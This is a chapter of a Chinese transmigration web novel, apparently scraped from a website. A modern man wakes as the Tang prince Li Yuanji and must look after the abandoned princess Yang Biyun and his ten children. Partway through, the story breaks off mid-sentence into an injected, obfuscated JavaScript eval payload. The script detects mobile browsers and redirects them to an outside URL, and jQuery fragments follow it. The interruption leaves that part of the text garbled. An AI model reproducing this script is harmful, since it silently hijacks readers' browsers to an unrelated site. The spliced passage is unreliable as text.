此时,元卿已经在层层看护下回到了齐王府,他对眼前的一切都十分陌生,府中凌乱不堪,仿佛遭遇了一场洗劫。
秦王府的士兵守在门口,俨然一副监视之态。
元卿机械地往府里走着,他不认识路,也不知道要往哪儿去,他没有接收到一点关于李元吉的记忆,历史上对于李元吉的描述到玄武门就戛然而止,对他没有半点帮助。
他走了一盏茶功夫,一路上一个人都没看到,别说丫鬟小厮,连一只猫狗都不见踪影。
就在他准备坐下想休息一会儿时,前方拱门处缓缓出现一道倩影,她手里抱着一个孩子,不过十八九岁的年纪,腰肢纤细,不盈一握。
一身石榴红与艾绿的间色裙,行走间如晚霞流淌。
墙角的木槿开得热烈张扬,阳光透过枝桠漏下斑驳光影,笼在女子身上,如坠梦中。
元卿微微张大了嘴,这女子五官虽算不上绝顶,却自有一股沉静之气,给人一种很舒服的感觉。
他还没反应过来女子是何人,就听她怀中的小孩儿哭了起来。
杨璧云缓步上前,一把将哭闹的孩子塞进元卿怀里,她声音清浅如水,如一道清风拂过心头,“她饿了。”
元卿,“……”
他知道他饿了,但是饿了找他就有用吗?他又不会喂奶。
大抵是他的表情太过惊愕,杨璧云淡淡解释了一句,“府中之人知道太子被杀,又见大王被秦王押回府中,怕殃及自身,全都逃了。”
元卿脱口而出,“那你为什么不逃?”
杨璧云怪异地看了他一眼,“妾乃大王明媒正娶的妻子,能逃去何处?其他人尚有安身之地,妾的名字却是上了李唐皇室的谱牒,没人敢为了妾冒天下之大不韪。”
元卿愣了两秒,反应过来眼前之人是谁,顿时瞪大了眼。
这就是齐王妃,后来成了李世民的妃子,还和李世民生了一个儿子,最后过继给前夫的女人?
元卿脸皮微微抽动。
觉得她说得对,当今天下,除了二凤陛下,也没人敢冒这个大不韪了。
杨璧云低着头,语气清缓平静,“妾出身弘农杨氏,和前朝皇族关系匪浅,从小就知道女子在这个世道不过是一件工具,哪怕身份如我,也逃不过联姻巩固家族的命运。”
不知道为什么,从前说不出的话,今日却顺顺当当说了出来。
大抵是眼前这人不同于以往的神情和姿态吧。
怀中的小家伙异常不安分,嚎得嗓子都哑了,元卿低头看了一眼,是个女婴,估计只有几个月大。
这次不用脑子,他也猜到了孩童的身份,八成是李元吉的便宜女儿了。
他想起自己讲唐史时查到的资料,李元吉死时至少有五子五女,五个儿子在事变后全被处死,女儿倒是都活了下来,最后成了李唐皇室笼络朝臣的工具。
他将小孩儿举起来看了看,这应该是最小的一个了。
思索间,一股温热的液体落到颈上,元卿视线茫然地往下移了几分。
尿……尿了?!
一见面就给他这么大个礼,真是好闺女。
元卿一脸求救地看向一旁眉头紧锁的女子,结结巴巴问,“怎、怎么办?”
但杨璧云看起来比他还要茫然,“从前都是下人在带,妾也不知道。”
元卿想起来,历史上的齐王没有嫡子嫡女,所以说这十个小孩都是庶出。
二十四岁,十几个孩子,真能造啊……
难怪人人都想当官做皇帝,这特权阶级真是占尽了好处,不管女人、财富,或是土地。
元卿不死心地问,“真的一个人都没有留下吗?”
杨璧云摇了摇头,打破了他最后一丝幻想。
元卿深吸一口气,“算了,府中可还有羊奶一类的东西?”
他在现代虽然没有结婚生子,但却没有少带孩子,他有个堂哥,生了一对龙凤胎,他还帮他们带过一段时间。
这个她倒是知道,杨璧云点点头,“膳房应当还有。”
元卿掂了掂怀里的小家伙,现在六月的天,身上湿了也不冷,就是有点味儿。
他抱着小孩儿转道去膳房,只是走了两步,他猛地停住,回头尴尬道,“膳房在哪儿?”
杨璧云的眼神又开始怪异起来,试探性地问,“大王……不认路?”
元卿知道她肯定怀疑,但他确实不知道,相处久了,肯定会露馅儿,还不如一开始就不掩饰。
他点点头,没解释,“你替我带路。”
穿过拱门,拐到另一处院落中,一群小萝卜头正站在院子里,大的牵着小的,全眼神直勾勾地盯着他,此起彼伏地喊:
“父亲!”
“阿耶!”
“耶耶!”
元卿惊恐地后退了两步。
一、二、三、四、五、六、七、八、九,加上怀里的,刚好十个。
他浑身僵在原地,他连婚都没结,却凭空多出这么多儿女,一时有点无法适应。
“大王,”杨璧云疑惑地看着他,温温浅浅地问,“怎么了?”
元卿结结巴巴道,“没事,就是有点恐孩症。”
杨璧云不懂就问,“恐孩症是什么症?”
元卿:“……”
他呵呵两声,控制住快要扭曲的表情,“就是看到小孩儿会头疼的症。”
杨璧云“哦”了一声,竟然丝毫不觉得意外,“难怪大王以前从不抱他们。”
元卿无言。
很好,感谢你为我找了个理由。
不过,历史上的李元吉确实很难评,他清了清嗓子,“该干什么干什么去吧,你们不会有事。”
杨璧云还有些疑虑,“大王同东宫素来走得近,秦王那边……”
元卿抬头,视线越过高墙,看向秦王府的方向,“放心,命应该能保住。”
他回头,有些歉意,“不过要连累你们和我一起受苦了,你要是不愿,我现在就可以写一封和离书,放你自由。”
在他印象里,大唐的婚姻观还挺开放的,女子和离再嫁也是常有的事。
杨璧云却静静看着他,“大王不是说……”
后面的话她没吐露出口。
元卿却问,“说什么?”
杨璧云摇摇头,秀眉又蹙了起来。
她和李元吉成婚多年,至今无所出,不是李元吉不碰她,而是她小时候受过寒,产子艰难,再加上齐王姬妾成群,留宿在她这里的时候很少。
她也曾央求过他,让他放她离开。
李元吉却说,她是他父皇亲自为他选的王妃,是关陇贵族与李唐交好的凭证,他就算不喜她,也会恭恭敬敬把她放在家里。
从此后,她就再没提过和离的事。
今日他却说要放她自由,难道在这种关头良心发现了?
杨璧云摇了摇头,为自己的想法感到可笑,李元吉的性格,如果知道自己要死了,指定拉着她陪葬,又怎会送她离开?
元卿见她不答,也没在意,历史对于李元吉和杨氏的记录太少了,甚至还不如对她和李世民的风流债记录得多。
历史由胜利者书写,作为胜利者的女人,自然会多点笔墨。
“你想离开随时可以来找我。”他顿了一下,“不过大概只有三天时间。”
因为三日后李世民就会被封为皇太子,而他也等着命运的宣判。
杨璧云垂着眼没说话。
元卿抱着怀里尿了他一身,却欢欢喜喜睡过去的丫头继续往前,齐王府的财物几乎被搬空,但幸好,膳房还残留了点食物。
元卿看了眼身后缀着的一串小萝卜头,最大的不过八岁,最小的就是他怀里的奶娃娃,其余的一到六岁不等,有两个路都走不稳,只能靠大的牵着
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375528|200086||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
他把怀里睡着的女娃递给最大的那个男孩儿,“抱一会儿,我给你们做吃的。”
怀里突然被塞了一团柔软的生物,八岁的李承业浑身僵硬,一动不敢动。
杨璧云微微张大嘴,“大王会做饭?”
元卿‘嗯’了一声。
他并不想顶着李元吉的一切生活,他也并不是真的李元吉,如果被拆穿,要弄死他,他也认了。
他看了眼案板上的食材,熟练地挽起袖子,望向扎堆的小孩儿,“你们有谁会生火?”
大的几个你看我我看你,谁也没吭声。
元卿叹了口气,算了,他就不能指望这群娇生惯养的小家伙会这些东西。
杨璧云抿了抿唇,“我来吧。”
元卿看了她一眼,目光从她纤细白嫩的手腕再到她一尘不染的衣裙,怀疑的话脱口而出,“你会吗?”
杨璧云:“……”
她不说话了。
看着她一副自闭的模样,元卿反省自己,是不是有点太直白了,试探性地问,“要不,我教你?”
杨璧云连个眼神都没给他,抱起李承业怀中的小丫头,转身就走,“大王自己琢磨吧。”
元卿:“???”
怎么还生上气了?
他和一群小豆丁大眼瞪小眼,问最大的那个,“你叫什么?”
他虽然知道李元吉有五个儿子,而且在历史上留下了姓名,但他记不住啊。
斯文秀气的老大李承业瞬间红了眼,“原来父亲连儿的名都记不住吗?”
说完,他转身跑了,看样子是要哭。
元卿:“!!!”
你父亲记得住,我记不住啊,见面问名字不是常规操作吗?咋还红上眼了呢?
在接连气走两个后,元卿谨慎起来,看向高一点的那个孩子,挑了个最不出错的称呼,“二郎啊,告诉爹……阿耶,你想吃什么?”
那孩子眨了眨眼,“阿耶,我是三郎。”
元卿:“……长得真壮实,比你二哥都高了。”
真正的老二李承鸾坐到灶台后,笨拙地开始生火,不过六七岁的年纪,却紧紧板着一张小脸,仿佛正在干什么大事儿似的。
元卿叹息一声,上前接过他的火折子,“去外面玩儿吧,我做好了叫你们。”
他在现代的时候,每年都会回乡下奶奶家住一段时间,家里虽然安了燃气,但奶奶还是习惯用土灶,他也从小就会用。
李承鸾低下头,两手无意识地揪着衣服,“阿娘走时说,我以后能依靠的只有父亲,她叫我听话些,只有听话才能活。”
元卿哑然,秦王的人怕是早就围了府,能放那些下人姬妾离开,却不可能放这些含有李唐皇室血脉的孩子离开。
“放心,会没事的。”他安慰了一句,熟练地生火添柴,看了眼几个眼巴巴望着他的小豆丁,先把剩余的羊奶热了,他找了一圈,只找到一点饴糖。
将饴糖融在羊奶里,给几个小豆丁喝了,一人几口,很快一大盆就喝得干干净净,还留了一小碗给没睡醒的那个。
元卿看了一眼,灶台上还有一些剩余的米饭,以及几个残留的鸡蛋。
他深吸一口气,还好,他穿的是个亲王,而不是个普通百姓,该有的东西基本都有,否则恐怕连点好米都看不到。
饭还挺多,他打算简单做个蛋炒饭,但很快他就放弃了计划,因为这个时代还没有专门用于炒菜的锅。
就在此时,他刚穿来时听到的声音再次出现,“宿主宿主,现在有时间吗?”
那声音带着点小心翼翼的讨好,像极了打工人面对上司时的谄媚。
元卿生火的手一顿,直接在脑中问,“你是什么东西?”
系统委屈,“我不是东西。”
元卿:“……”
他揉了揉眉心,“我的意思是,你什么来历?”